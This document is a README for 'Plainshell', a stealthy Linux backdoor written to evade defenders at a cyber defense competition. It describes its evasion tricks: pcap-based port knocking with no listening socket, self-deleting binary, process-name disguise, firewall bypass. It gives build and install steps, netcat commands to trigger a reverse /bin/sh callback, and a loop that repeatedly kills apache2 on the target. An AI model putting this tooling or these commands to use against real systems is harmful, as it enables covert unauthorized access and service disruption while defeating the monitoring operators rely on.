README

Plainshell
Plainshell is a small backdoor meant to be hard to find.

It is a response to a certain CCDC team catching most of my malware by inspecting the output of netstat.

Sneaky Features
There are several things Plainshell does which (hopefully) makes it a bit harder to find:

No command-line arguments. Feel free to use whatever looks normal in the process list. Config is accomplished by editing config.h.
No listening socket. Sessions are initiated via a UDP packet read via pcap.
The connected shell is /bin/sh, with stdio hooked up to the network, so no danger of the binary being pulled out of /proc/pid/exe.
The connected shell has a parent PID of 1 and is its session leader.

Compilation
1. Edit config.h
2. Run ./build.sh in the Plainshell directory

Installation
1. Upload
2 ./backdoor (with a better name, hopefully).

Once started, Plainshell will:
- Remove its binary (assuming you didn't use exec -a)
- Background itself (via daemon(3))
- Remove a leading ./ from its process name
- Passively watch the network for knock packets

Knocking
Plainshell passively monitors the network for packets matching a given BPF filter (set in config.h). The last six bytes of the packet are the IPv4 address and port to which to connect, as so:

...packet | address | port |
--------->|<---4--->|<-2-->|

The same binary can be used with the --k flag to generate this packet:

./plainshell --k 192.168.1.2 443 | nc -u -p 31337 192.168.1.3 53
nc -vl 443 (BSD)
nc -vlp 443 (Linux)
The above would send a packet to the Plainshell at 192.168.1.3 with UDP destination port 53 and source port 31337, requesting a shell to call back to 102.168.1.2:443 (TCP)
Since Plainshell listens with pcap, host-based firewalls (i.e. iptables or pf) shouldn't prevent knock packets from getting through.

Shell
Before the shell calls back, the process will wait a configurable number of seconds to allow for a one-line knock/netcat command.

The shell that calls back will be completely unencrypted; it's just /bin/sh with stdio connected to the network connection. Don't expect a prompt.

Irritating CCDC Defenders:
while :; do
        ./plainshell --k 192.168.0.2 4444 | nc -Nup 31337 192.168.0.3 53
        echo killall apache2 | nc -vlN 4444
        sleep 60
done